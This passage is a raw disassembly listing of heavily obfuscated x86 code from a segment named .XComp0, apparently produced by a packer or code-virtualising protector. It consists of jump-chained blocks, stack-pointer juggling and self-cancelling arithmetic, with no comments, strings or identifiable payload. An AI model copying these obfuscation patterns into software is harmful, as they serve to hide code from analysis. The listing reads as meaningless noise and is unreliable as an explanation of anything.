bl pop ebx jmp loc_598809 ; --------------------------------------------------------------------------- loc_591C4B: ; CODE XREF: .XComp0:00587E57j mov ebx, 152F7B0Bh push ebx sub dword ptr [esp], 85E7A7Eh pop edx add edx, 85E7A7Eh pop ebx sub esp, 4 mov [esp], ebx mov ebx, 38A26231h sub esp, 4 mov [esp], eax push ecx mov ecx, 0F6C55h jmp loc_594EBB ; --------------------------------------------------------------------------- loc_591C7F: ; CODE XREF: .XComp0:005918C4j push dword ptr [esp] jmp loc_58C64A ; --------------------------------------------------------------------------- loc_591C87: ; CODE XREF: .XComp0:0058A7E3j mov ecx, 6331146Dh jmp loc_58A068 ; --------------------------------------------------------------------------- loc_591C91: ; CODE XREF: .XComp0:00597ED2j shl edx, 5 sub esp, 4 jmp loc_58C8B7 ; --------------------------------------------------------------------------- loc_591C9F: ; CODE XREF: .XComp0:00598689j pop ebp sub edi, 29C506C3h sub edi, ebx add edi, 29C506C3h pop ebx mov eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_596EFE ; --------------------------------------------------------------------------- loc_591CC8: ; CODE XREF: .XComp0:005847E2j pop dword ptr [esp] mov esp, [esp] jmp loc_58DA71 ; --------------------------------------------------------------------------- loc_591CD3: ; CODE XREF: .XComp0:0058E8E3j push dword ptr [esp] mov edx, [esp] push ebp jmp loc_58A136 ; --------------------------------------------------------------------------- loc_591CDF: ; CODE XREF: .XComp0:00586118j mov eax, [esp] add esp, 4 dec ebx shl ebx, 4 not ebx sub ebx, 0FFFFFFFFh sub esp, 4 mov [esp], edi jmp loc_58D07A ; --------------------------------------------------------------------------- loc_591CFC: ; CODE XREF: .XComp0:0058AF8Dj xchg edx, [esp] pop esp mov [esp], esi push ebx jmp loc_585080 ; --------------------------------------------------------------------------- loc_591D09: ; CODE XREF: .XComp0:00588A11j add esp, 4 push ebx jmp loc_592AC4 ; --------------------------------------------------------------------------- loc_591D12: ; CODE XREF: .XComp0:0058978Aj xor ecx, 0D9E49DA4h add ecx, 705723A8h add ecx, edi jmp loc_5854A6 ; --------------------------------------------------------------------------- loc_591D25: ; CODE XREF: .XComp0:0058594Fj push 10350163h mov esi, [esp] add esp, 4 push eax push edx push 46AE5C4Bh jmp loc_58ACD1 ; --------------------------------------------------------------------------- loc_591D3C: ; CODE XREF: .XComp0:00585195j and ebp, 19E046F1h jmp loc_589445 ; --------------------------------------------------------------------------- loc_591D47: ; CODE XREF: .XComp0:0058F121j push 3BB8h mov [esp], edx push dword ptr [esp+4] jmp loc_587F53 ; --------------------------------------------------------------------------- loc_591D58: ; CODE XREF: .XComp0:005955A7j sub esp, 4 mov [esp], ebx push 3526h mov [esp], ecx mov ecx, 1394145Dh mov ebx, ecx jmp loc_588470 ; --------------------------------------------------------------------------- loc_591D75: ; CODE XREF: .XComp0:0059395Fj sub edx, 77073855h add edx, edi add edx, 77073855h sub edx, 6A3D2888h mov edi, [esp] push 3D38h mov [esp], ebp mov ebp, esp jmp loc_58B86B ; --------------------------------------------------------------------------- loc_591D9B: ; CODE XREF: .XComp0:00586BEFj mov eax, 4B5C16B0h add [esp+4], eax pop eax sub esp, 4 mov [esp], eax jmp loc_584499 ; --------------------------------------------------------------------------- loc_591DB3: ; CODE XREF: .XComp0:00594A8Bj and cl, 4Eh dec cl shl cl, 4 add cl, 71h xor bh, cl pop ecx jmp loc_591245 ; --------------------------------------------------------------------------- loc_591DC6: ; CODE XREF: .XComp0:0058CDBEj push 6EFF02ACh pop edx shl edx, 2 neg edx xor edx, 5A2FEE74h push edx sub dword ptr [esp], 3AEE2736h push dword ptr [esp] pop eax add esp, 4 add eax, 3AEE2736h mov edx, [esp] add esp, 4 shl eax, 3 sub eax, 635865FDh jmp loc_593675 ; --------------------------------------------------------------------------- loc_591E04: ; CODE XREF: .XComp0:0058E139j pop edx sub ax, bx push bp mov bp, 77C3h push bx jmp loc_598152 ; --------------------------------------------------------------------------- loc_591E15: ; CODE XREF: .XComp0:0058D502j push 759Fh mov [esp], ebx mov ebx, 4 add ebp, 45867F0Eh add ebp, ebx sub ebp, 45867F0Eh mov ebx, [esp] add esp, 4 jmp loc_59203C ; --------------------------------------------------------------------------- loc_591E3E: ; CODE XREF: .XComp0:0058DC8Fj pop edi push dword ptr [edi+eax*4] push ecx push ebp mov ebp, 26603CB0h mov ecx, ebp pop ebp add ecx, 0FFFFFFFFh jmp loc_592516 ; --------------------------------------------------------------------------- loc_591E57: ; CODE XREF: .XComp0:0058DB70j mov [esp], ebp mov ebp, 73E337D2h sub ebp, 0FA506A7h add ebp, 158F4CA7h shr ebp, 1 sub ebp, 1335450Dh neg ebp xor ebp, 29B179DBh jmp loc_5886AD ; --------------------------------------------------------------------------- loc_591E80: ; CODE XREF: .XComp0:00584FBBj push esi mov esi, 1F895AB7h jmp loc_584A2A ; --------------------------------------------------------------------------- loc_591E8B: ; CODE XREF: .XComp0:00588716j add esi, ecx pop ecx jmp loc_58FCD2 ; --------------------------------------------------------------------------- loc_591E93: ; CODE XREF: .XComp0:0058F7C7j sub edi, 795E2F88h jmp loc_59007B ; --------------------------------------------------------------------------- loc_591E9E: ; CODE XREF: .XComp0:00596678j add esp, 4 push eax jmp loc_596627 ; --------------------------------------------------------------------------- loc_591EA7: ; CODE XREF: .XComp0:0058F5EFj mov edi, 4 add ecx, edi pop edi jmp loc_58B1F5 ; --------------------------------------------------------------------------- loc_591EB4: ; CODE XREF: .XComp0:0058A3D4j pop dword ptr [esp] pop esp add ah, 14h add ah, dl push dx mov dl, 14h sub ah, dl mov dx, [esp] add esp, 2 pop edx push ebx jmp loc_594D15 ; --------------------------------------------------------------------------- loc_591ED4: ; CODE XREF: .XComp0:00592A2Bj mov eax, edi pop edi or edx, eax mov eax, [esp] add esp, 4 not edx push ecx jmp loc_5953EC ; --------------------------------------------------------------------------- loc_591EEA: ; CODE XREF: .XComp0:00597EC7j add edx, esi pop esi push dword ptr [esp] pop edi add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_596427 ; --------------------------------------------------------------------------- loc_591F05: ; CODE XREF: .XComp0:00595D21j mov esp, [esp] mov [esp], cx jmp loc_58BB08 ; --------------------------------------------------------------------------- loc_591F11: ; CODE XREF: .XComp0:00595555j pop dword ptr [esp] pop esp add esp, 4 jmp loc_5987E2 ; --------------------------------------------------------------------------- loc_591F20: ; CODE XREF: .XComp0:005975FFj push ecx jmp loc_59073B ; --------------------------------------------------------------------------- loc_591F26: ; CODE XREF: .XComp0:00585D3Bj mov [edx], bh jmp loc_59071A ; --------------------------------------------------------------------------- loc_591F2D: ; CODE XREF: .XComp0:00593E60j sub ebp, 2234299Fh sub ebp, esi jmp loc_58C195 ; --------------------------------------------------------------------------- loc_591F3A: ; CODE XREF: .XComp0:005905BEj pop esp mov [esp], eax push esp pop eax jmp loc_593CE6 ; --------------------------------------------------------------------------- loc_591F45: ; CODE XREF: .XComp0:00593343j add edx, 7BB8AAB3h sub ebx, 109B5944h add ebx, edx push ebp mov ebp, 109B5944h add ebx, ebp pop ebp jmp loc_597B13 ; --------------------------------------------------------------------------- loc_591F61: ; CODE XREF: .XComp0:0058B492j add edx, ebp sub edx, 3AD576A5h mov ebp, [esp] add esp, 4 shl edx, 1 sub esp, 4 mov [esp], ebp push edx mov edx, 43437A0h mov ebp, 7382F231h add ebp, edx pop edx shr ebp, 5 add ebp, 1 sub ebp, 41A30E5Dh inc ebp not ebp push edx mov edx, 132A293Bh and edx, 613D6ECDh push ebp jmp loc_5960B7 ; --------------------------------------------------------------------------- loc_591FAC: ; CODE XREF: .XComp0:00590B50j add bl, 0F2h sub bl, 3Eh jmp loc_594CA4 ; --------------------------------------------------------------------------- loc_591FB7: ; CODE XREF: .XComp0:0058B59Aj xor ecx, 86B403C4h add eax, 8926B72h add eax, 65E628E1h add eax, ecx jmp loc_5852CF ; --------------------------------------------------------------------------- loc_591FCE: ; CODE XREF: .XComp0:00596192j push ecx jmp loc_596BEF ; --------------------------------------------------------------------------- loc_591FD4: ; CODE XREF: .XComp0:00593997j add ebp, 4 sub esp, 4 mov [esp], edi push esi jmp loc_5854F4 ; --------------------------------------------------------------------------- loc_591FE6: ; CODE XREF: .XComp0:00595E3Cj mov edx, 187F0D8Ah mov ebx, 47A311C6h add ebx, edx jmp loc_58B6BC ; --------------------------------------------------------------------------- loc_591FF7: ; CODE XREF: .XComp0:0058F2B1j mov ebp, [esp] add esp, 4 push dword ptr [esp] jmp loc_5885B5 ; --------------------------------------------------------------------------- loc_592008: ; CODE XREF: .XComp0:0058F4C0j push ebx add dword ptr [esp], 491223F2h pop eax push ecx mov ecx, 491223F2h jmp loc_58B3FC ; --------------------------------------------------------------------------- loc_59201C: ; CODE XREF: .XComp0:0058BD74j pop ebx add edx, 4 jmp loc_5926B4 ; --------------------------------------------------------------------------- loc_592025: ; CODE XREF: .XComp0:005900CCj mov eax, 5B293646h or eax, 20377CC3h neg eax push ebp mov ebp, 0 jmp loc_59831A ; --------------------------------------------------------------------------- loc_59203C: ; CODE XREF: .XComp0:00591E39j add ebp, 4 xchg ebp, [esp] mov esp, [esp] shl ecx, 3 add ecx, 98C0FD54h add ebx, 45B0244Ah jmp loc_5957E6 ; --------------------------------------------------------------------------- loc_59205C: ; CODE XREF: .XComp0:005939CCj add esp, 4 push edi jmp loc_585DC6 ; --------------------------------------------------------------------------- loc_592068: ; CODE XREF: .XComp0:00592E4Fj add ebp, 4 add ebp, 4 jmp loc_591A0E ; --------------------------------------------------------------------------- loc_592079: ; CODE XREF: .XComp0:005910F6j add edi, 4 add edi, 4 jmp loc_585DAA ; --------------------------------------------------------------------------- loc_59208A: ; CODE XREF: .XComp0:0059109Cj push ebp mov ebp, 0E0B4032h add ebx, 38EF0F8Dh sub ebx, ebp push ecx jmp loc_58C3EC ; --------------------------------------------------------------------------- mov cx, [esp] push 470Eh mov [esp], ebp mov ebp, esp push eax mov eax, esp add eax, 4 push edi mov edi, 7AD352B2h add edi, 852CAD52h jmp loc_58E52B ; --------------------------------------------------------------------------- loc_5920C5: ; CODE XREF: .XComp0:00587CF2j pop eax jmp loc_58F539 ; --------------------------------------------------------------------------- loc_5920CB: ; CODE XREF: .XComp0:loc_595343j pop ebx jmp loc_58FDDF ; --------------------------------------------------------------------------- loc_5920D1: ; CODE XREF: .XComp0:00588CAFj pop eax push ebx mov ebx, 60777F7Eh sub ebp, ebx jmp loc_58DF12 ; --------------------------------------------------------------------------- loc_5920DF: ; CODE XREF: .XComp0:0058A6D6j sub esi, 39B134Eh jmp loc_597795 ; --------------------------------------------------------------------------- loc_5920EA: ; CODE XREF: .XComp0:00589944j add ebp, esi mov esi, [esp] jmp loc_589BFF ; --------------------------------------------------------------------------- loc_5920F4: ; CODE XREF: .XComp0:0058EDF6j mov [esp], esp jmp loc_596826 ; --------------------------------------------------------------------------- loc_5920FC: ; CODE XREF: .XComp0:0058828Fj mov edi, 4 jmp loc_59475A ; --------------------------------------------------------------------------- loc_592106: ; CODE XREF: .XComp0:00588D47j mov edi, 62EE413Bh and edi, 601442BFh sub edi, 0E0900EEh mov eax, edi pop edi jmp loc_5863F4 ; --------------------------------------------------------------------------- loc_59211F: ; CODE XREF: .XComp0:00594ED4j pop eax push edi mov edi, 4 sub ecx, edi pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], esp push ebp jmp loc_5895EC ; --------------------------------------------------------------------------- loc_59213E: ; CODE XREF: .XComp0:00596637j push edx mov edx, 6507D90h xor edx, 11F7033Fh jmp loc_59192D ; --------------------------------------------------------------------------- loc_59214F: ; CODE XREF: .XComp0:005982DFj pop ebx push 7DF8h mov [esp], edx jmp loc_58EBC9 ; --------------------------------------------------------------------------- loc_59215D: ; CODE XREF: .XComp0:00588ED7j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov dh, 0ABh add al, 0E1h jmp loc_5892B5 ; --------------------------------------------------------------------------- loc_592170: ; CODE XREF: .XComp0:0058B6B7j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_5850E2 ; --------------------------------------------------------------------------- loc_59218A: ; CODE XREF: .XComp0:00589EDFj mov edx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 push edx push edi mov edi, 4 jmp loc_58B54E ; --------------------------------------------------------------------------- loc_5921A4: ; CODE XREF: .XComp0:00596593j add eax, 4 xchg eax, [esp] pop esp jmp loc_5846E7 ; --------------------------------------------------------------------------- loc_5921B0: ; CODE XREF: .XComp0:0058E2E9j neg ecx and ecx, 3777083Ah jmp loc_586A23 ; --------------------------------------------------------------------------- loc_5921BD: ; CODE XREF: .XComp0:00583C1Ej pop ebx xchg eax, [esp] mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_592A14 ; --------------------------------------------------------------------------- loc_5921F3: ; CODE XREF: .XComp0:00595C50j or cl, al jmp loc_58A384 ; --------------------------------------------------------------------------- loc_5921FA: ; CODE XREF: .XComp0:00596450j add edi, 48D841C1h push esi mov esi, esp jmp loc_587FBC ; --------------------------------------------------------------------------- loc_592208: ; CODE XREF: .XComp0:00589993j push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 62994F2Dh jmp loc_594772 ; --------------------------------------------------------------------------- loc_59221C: ; CODE XREF: .XComp0:00585D65j add esp, 4 add edi, ebp push eax push edi mov edi, 7A294F1Fh mov eax, 0AF5FFA6Ch add eax, edi pop edi sub edi, 120D645Ah sub edi, eax push ebx jmp loc_5956FA ; --------------------------------------------------------------------------- loc_592241: ; CODE XREF: .XComp0:00593C2Aj push 5B8Ah mov [esp], esi push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edx push 5CB06698h pop edx neg edx jmp loc_596F5D ; --------------------------------------------------------------------------- loc_592263: ; CODE XREF: .XComp0:0059856Dj add edi, ecx add edi, 2DAE2CDDh jmp loc_594B4D ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_58F3AB ; --------------------------------------------------------------------------- loc_592284: ; CODE XREF: .XComp0:00597CD8j push edi mov edi, esp add edi, 4 jmp loc_596A6D ; --------------------------------------------------------------------------- loc_592292: ; CODE XREF: .XComp0:00596494j sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi jmp loc_598298 ; --------------------------------------------------------------------------- loc_5922A3: ; CODE XREF: .XComp0:00585FEEj push ebp jmp loc_595395 ; --------------------------------------------------------------------------- loc_5922A9: ; CODE XREF: .XComp0:00589AE9j mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_589FA7 ; --------------------------------------------------------------------------- loc_5922BD: ; CODE XREF: .XComp0:00590CBFj push edx sub esp, 4 mov [esp], ecx mov ecx, 42E3356h jmp loc_58B0A7 ; --------------------------------------------------------------------------- loc_5922CE: ; CODE XREF: .XComp0:00595421j pop ecx push dword ptr [esp] mov ebx, [esp] add esp, 4 push edi push esp pop edi add edi, 4 jmp loc_586E52 ; --------------------------------------------------------------------------- loc_5922E9: ; CODE XREF: .XComp0:00590DB4j add al, ch pop ecx mov ecx, [esp] add esp, 4 push 15AEh mov [esp], eax jmp loc_5974C4 ; --------------------------------------------------------------------------- lodsd add eax, 5AFF5322h sub esp, 4 mov [esp], ebp mov ebp, 78941C9Fh jmp loc_59296B ; --------------------------------------------------------------------------- loc_592318: ; CODE XREF: .XComp0:0058E158j mov ebp, 2DD33540h or ebp, 2ECD15C1h xor ebp, 1BA3331Eh inc ebp xor ebp, 1B6F2BF2h sub ebp, 0E6A13F0Eh jmp loc_596653 ; --------------------------------------------------------------------------- loc_59233B: ; CODE XREF: .XComp0:00594867j add al, dh jmp loc_585B8B ; --------------------------------------------------------------------------- loc_592342: ; CODE XREF: .XComp0:005934D9j push eax push ecx push edi jmp loc_584DC6 ; --------------------------------------------------------------------------- loc_59234A: ; CODE XREF: .XComp0:0059885Aj mov [esp], edi mov edi, 289F38E5h push esi mov esi, 325C512Ch sub esp, 4 mov [esp], eax mov eax, 38083163h and esi, eax pop eax add esi, 54C31C67h xor esi, 0BDE9F4DFh add edi, esi pop esi or ebp, edi mov edi, [esp] add esp, 4 jmp loc_589590 ; --------------------------------------------------------------------------- loc_592385: ; CODE XREF: .XComp0:00595D31j push edx jmp loc_58C148 ; --------------------------------------------------------------------------- loc_59238B: ; CODE XREF: .XComp0:0058F189j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_58D321 ; --------------------------------------------------------------------------- loc_592398: ; CODE XREF: .XComp0:005894C5j push ebx sub esp, 4 mov [esp], edx jmp loc_592BA1 ; --------------------------------------------------------------------------- loc_5923A7: ; CODE XREF: .XComp0:0059107Ej add ebx, ebp add ebx, 6DC323F5h jmp loc_5850F0 ; --------------------------------------------------------------------------- loc_5923B4: ; CODE XREF: .XComp0:0058B6A5j pop ecx jmp loc_598EBC ; --------------------------------------------------------------------------- loc_5923BA: ; CODE XREF: .XComp0:0058EEA0j add eax, esi jmp loc_58F5CD ; --------------------------------------------------------------------------- loc_5923C1: ; CODE XREF: .XComp0:0058ECD3j xor [esp], ebx jmp loc_5978F4 ; --------------------------------------------------------------------------- loc_5923C9: ; CODE XREF: .XComp0:0059376Cj add esp, 4 jmp loc_596DAC ; --------------------------------------------------------------------------- loc_5923D1: ; CODE XREF: .XComp0:0058E535j push ecx push 0DF45B06h jmp loc_594D0D ; --------------------------------------------------------------------------- loc_5923DC: ; CODE XREF: .XComp0:005852CAj mov [esp], eax jmp loc_583A60 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push ebx mov ebx, 468356F3h jmp loc_587903 ; --------------------------------------------------------------------------- loc_592402: ; CODE XREF: .XComp0:0058DDB6j sub edx, 4B095829h jmp loc_595348 ; --------------------------------------------------------------------------- loc_59240D: ; CODE XREF: .XComp0:0058E073j mov bh, 15h mov dh, 39h sub dh, 0E0h add dh, bh jmp loc_58E081 ; --------------------------------------------------------------------------- loc_59241B: ; CODE XREF: .XComp0:0059015Ej mov edx, [esp] add esp, 4 jmp loc_58A3AD ; --------------------------------------------------------------------------- loc_592429: ; CODE XREF: .XComp0:0058B559j mov [esp], ecx push 7BBDh jmp loc_58C5AC ; --------------------------------------------------------------------------- loc_592436: ; CODE XREF: .XComp0:00585E74j or edi, 7DA11887h xor edi, 143E4E45h push 23Bh mov [esp], edi push eax mov eax, 3C3A67F0h xor [esp+4], eax pop eax pop ebp jmp loc_584D1C ; --------------------------------------------------------------------------- loc_59245B: ; CODE XREF: .XComp0:005850B2j pop esi push edx mov edx, 72124C20h xor edx, 113C3243h xor edx, 10931E0Ch sub edx, 768B411Fh push 1D28h mov [esp], edi mov edi, 1 add edx, edi pop edi shl edx, 4 sub edx, 0D321F50Ch jmp loc_58F326 ; --------------------------------------------------------------------------- loc_592492: ; CODE XREF: .XComp0:005908D7j add ah, 8Ch shl ah, 6 sub ah, 0C7h sub cl, 0ECh sub cl, ah add cl, 0ECh pop eax mov edx, [esp] add esp, 4 sub al, cl mov cx, [esp] add esp, 2 push edi mov edi, esp jmp loc_5967D6 ; --------------------------------------------------------------------------- loc_5924BB: ; CODE XREF: .XComp0:00591121j pop esp jmp loc_58B43B ; --------------------------------------------------------------------------- loc_5924C1: ; CODE XREF: .XComp0:005988E8j xchg ecx, [esp] pop esp jmp loc_58F83C ; --------------------------------------------------------------------------- loc_5924CA: ; CODE XREF: .XComp0:005842D8j pop ebp or esi, 70250D88h jmp loc_589935 ; --------------------------------------------------------------------------- loc_5924D6: ; CODE XREF: .XComp0:005940EAj xor edi, 4D2E348Bh jmp loc_588E40 ; --------------------------------------------------------------------------- loc_5924E1: ; CODE XREF: .XComp0:00597B1Dj mov esp, [esp] and [esp], al pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5924ED: ; CODE XREF: .XComp0:00584EABj dec ecx sub ecx, 1D559D27h add ebx, ecx pop ecx shl ebx, 6 not ebx sub ebx, 0FFFFFFFFh push esi jmp loc_585167 ; --------------------------------------------------------------------------- loc_592508: ; CODE XREF: .XComp0:0058C0C5j push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp jmp loc_589ABB ; --------------------------------------------------------------------------- loc_592516: ; CODE XREF: .XComp0:00591E52j push ebx jmp loc_5951FF ; --------------------------------------------------------------------------- loc_59251C: ; CODE XREF: .XComp0:0058A3B1j push esp pop edi add edi, 4 jmp loc_58F295 ; --------------------------------------------------------------------------- push 1F4Dh push esp pop dword ptr [esp] push eax push edx mov edx, 670B7205h jmp loc_58B7B5 ; --------------------------------------------------------------------------- loc_59253E: ; CODE XREF: .XComp0:005939F3j mov bl, 7Dh jmp loc_597DFE ; --------------------------------------------------------------------------- loc_592545: ; CODE XREF: .XComp0:005860F0j sub edi, 6304704Ah push edx push edi jmp loc_589AA7 ; --------------------------------------------------------------------------- loc_592552: ; CODE XREF: .XComp0:0058A87Fj xchg esi, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 xor ecx, 19C27A00h jmp loc_5962F9 ; --------------------------------------------------------------------------- loc_59256B: ; CODE XREF: .XComp0:00585BB6j inc word ptr [esp] pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_592575: ; CODE XREF: .XComp0:0058F158j mov edx, [esp] add esp, 4 or [edi+1Ch], eax push dword ptr [esp] pop eax jmp loc_58FDEB ; --------------------------------------------------------------------------- loc_592587: ; CODE XREF: .XComp0:00588D9Ej mov ch, 96h add al, ch jmp loc_58D6AF ; --------------------------------------------------------------------------- loc_592590: ; CODE XREF: .XComp0:0058B515j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], esi push edx mov edx, 247D66C1h jmp loc_586B84 ; --------------------------------------------------------------------------- loc_5925AA: ; CODE XREF: .XComp0:0058803Bj add eax, 4 add eax, 4 jmp loc_589F7F ; --------------------------------------------------------------------------- loc_5925B7: ; CODE XREF: .XComp0:00595613j sub edx, 5089781Ch push 4891h jmp loc_59894B ; --------------------------------------------------------------------------- loc_5925C7: ; CODE XREF: .XComp0:005872F6j add ecx, 40F32B6Fh sub ebx, ecx pop ecx jmp loc_58CF40 ; --------------------------------------------------------------------------- loc_5925D5: ; CODE XREF: .XComp0:0058C38Dj and esi, edi pop edi add esi, 0FECFF6E1h mov edx, esi jmp loc_59276A ; --------------------------------------------------------------------------- loc_5925E5: ; CODE XREF: .XComp0:005890C9j add esp, 4 push ebp mov ebp, 376A58F0h shr ebp, 5 sub ebp, 40B76072h add ebp, 733F3D4Ah or edi, ebp jmp loc_5978FC ; --------------------------------------------------------------------------- loc_592604: ; CODE XREF: .XComp0:00584201j xor ebp, 508E7F6Eh jmp loc_591848 ; --------------------------------------------------------------------------- loc_59260F: ; CODE XREF: .XComp0:00595F1Cj mov ecx, 2E9D447Bh sub edx, ecx pop ecx add edx, ebx add edx, 2E9D447Bh push ebx jmp loc_585D39 ; --------------------------------------------------------------------------- loc_592625: ; CODE XREF: .XComp0:00593A24j pop ebx mov ecx, edx jmp loc_595095 ; --------------------------------------------------------------------------- loc_59262D: ; CODE XREF: .XComp0:0058EC3Ej push edx mov edx, 2 jmp loc_59005E ; --------------------------------------------------------------------------- loc_592638: ; CODE XREF: .XComp0:0058AE72j push ebp mov ebp, 4 add ecx, ebp pop ebp add ecx, 2 push ecx push dword ptr [esp+4] pop ecx jmp loc_585F12 ; --------------------------------------------------------------------------- loc_59264F: ; CODE XREF: .XComp0:0059290Ej mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp shl edx, 7 push ecx jmp loc_5927EA ; --------------------------------------------------------------------------- loc_59266E: ; CODE XREF: .XComp0:005956A0j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 261944CCh jmp loc_592D9B ; --------------------------------------------------------------------------- loc_592688: ; CODE XREF: .XComp0:0059011Dj push 1BB8h mov [esp], ebx push edi push 1DCB7341h push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_58B692 ; --------------------------------------------------------------------------- loc_5926A4: ; CODE XREF: .XComp0:00598103j add eax, 4 push edx mov edx, 4 jmp loc_58C5D5 ; --------------------------------------------------------------------------- loc_5926B4: ; CODE XREF: .XComp0:00592020j push edx push dword ptr [esp+4] pop edx jmp loc_591974 ; --------------------------------------------------------------------------- loc_5926BF: ; CODE XREF: .XComp0:00598D8Aj mov ecx, 0A2EE879Bh sub ecx, edi pop edi shr ecx, 2 push esi mov esi, 7EBD5627h jmp loc_5949FE ; --------------------------------------------------------------------------- loc_5926D5: ; CODE XREF: .XComp0:0059558Dj mov [esp], edx jmp loc_58E351 ; --------------------------------------------------------------------------- loc_5926DD: ; CODE XREF: .XComp0:00589636j sub eax, 2EF20CA0h dec eax shl eax, 5 jmp loc_5985AB ; --------------------------------------------------------------------------- loc_5926EB: ; CODE XREF: .XComp0:00596A1Fj push esi jmp loc_596598 ; --------------------------------------------------------------------------- loc_5926F1: ; CODE XREF: .XComp0:0058FCCDj push dword ptr [esp] pop ebp jmp loc_585517 ; --------------------------------------------------------------------------- loc_5926FA: ; CODE XREF: .XComp0:0058F5C8j push 4E11h mov [esp], eax push 42CEh mov [esp], edx push dword ptr [esp] pop eax push ebp jmp loc_589FF0 ; --------------------------------------------------------------------------- loc_592714: ; CODE XREF: .XComp0:005953CCj mov edx, [esp] add esp, 4 add ebx, 18766353h sub ebx, 6C101ED8h sub ebx, eax jmp loc_597C72 ; --------------------------------------------------------------------------- loc_59272D: ; CODE XREF: .XComp0:00587482j pop ebx xchg edi, [esp] mov esp, [esp] mov [esp], edx push esp push dword ptr [esp] pop edx add esp, 4 jmp loc_593682 ; --------------------------------------------------------------------------- loc_592744: ; CODE XREF: .XComp0:00585512j push 539Bh mov [esp], eax mov ah, 4 push ebx mov bl, 0E6h shl bl, 7 shr bl, 1 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5983B2 ; --------------------------------------------------------------------------- loc_59276A: ; CODE XREF: .XComp0:005925E0j pop esi sub eax, 27391970h jmp loc_58583E ; --------------------------------------------------------------------------- loc_592775: ; CODE XREF: .XComp0:0058D084j pop ebx push 60B8h mov [esp], ecx mov ecx, 559049BDh jmp loc_5874BC ; --------------------------------------------------------------------------- loc_592788: ; CODE XREF: .XComp0:00591045j pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 5344h mov [esp], eax jmp loc_587A90 ; --------------------------------------------------------------------------- loc_5927B1: ; CODE XREF: .XComp0:005870BFj mov al, 6Ch mov dh, al pop eax add dh, bh jmp loc_5940FC ; --------------------------------------------------------------------------- loc_5927BD: ; CODE XREF: .XComp0:00587EECj push esi mov esi, 1763E01h xor ebp, esi pop esi sub ebx, ebp mov ebp, [esp] add esp, 4 add ebx, 35555392h sub ebx, 7CF93537h add ebx, 93B5464h sub ebx, eax jmp loc_5869F2 ; --------------------------------------------------------------------------- loc_5927EA: ; CODE XREF: .XComp0:00592669j mov ecx, 0AD300E84h push ebx mov ebx, 4A323F0Eh sub edx, ebx pop ebx add edx, ecx add edx, 4A323F0Eh jmp loc_58A633 ; --------------------------------------------------------------------------- loc_592805: ; CODE XREF: .XComp0:0058D0F4j mov dx, [esp] add esp, 2 xor bl, al movzx eax, al jmp loc_59724C ; --------------------------------------------------------------------------- loc_592819: ; CODE XREF: .XComp0:00590B0Cj pop ebp jmp loc_586BEE ; --------------------------------------------------------------------------- loc_59281F: ; CODE XREF: .XComp0:0058B83Ej push ecx mov ecx, eax mov ebp, ecx pop ecx pop eax pop esi mov edi, ebp mov ebp, [esp] jmp loc_588CDD ; --------------------------------------------------------------------------- loc_592831: ; CODE XREF: .XComp0:005946DBj pop edi jmp loc_5974B8 ; --------------------------------------------------------------------------- loc_592837: ; CODE XREF: .XComp0:005914F2j add edx, 45E14106h sub edx, 9D1386A8h xor ecx, edx pop edx push 576h mov [esp], eax mov eax, 47ED2B93h shr eax, 6 jmp loc_590A52 ; --------------------------------------------------------------------------- loc_59285B: ; CODE XREF: .XComp0:005988A2j mov [esp], ax jmp loc_594B15 ; --------------------------------------------------------------------------- loc_592864: ; CODE XREF: .XComp0:00589C3Aj inc ecx push 0 sub [esp], ecx pop ecx sub ecx, 1404892h add edx, ecx mov ecx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] sub [esp], eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_5931B0 ; --------------------------------------------------------------------------- loc_59289D: ; CODE XREF: .XComp0:00587387j shr cl, 7 xor cl, 0ACh jmp loc_591A20 ; --------------------------------------------------------------------------- loc_5928A8: ; CODE XREF: .XComp0:0058C7C4j mov [esp], ecx push edx push esi mov esi, 5ABF5191h mov edx, esi jmp loc_58CC44 ; --------------------------------------------------------------------------- loc_5928B9: ; CODE XREF: .XComp0:005957F8j xor dword ptr [esp], 42A01583h jmp loc_58B2D0 ; --------------------------------------------------------------------------- loc_5928C5: ; CODE XREF: .XComp0:00598D37j xor ecx, eax jmp loc_59601D ; --------------------------------------------------------------------------- loc_5928CC: ; CODE XREF: .XComp0:00589A5Aj add ecx, 0CAC1E845h jmp loc_58446B ; --------------------------------------------------------------------------- loc_5928D7: ; CODE XREF: .XComp0:00594640j add ecx, ebp sub ecx, 744E0D5Dh pop ebp jmp loc_584206 ; 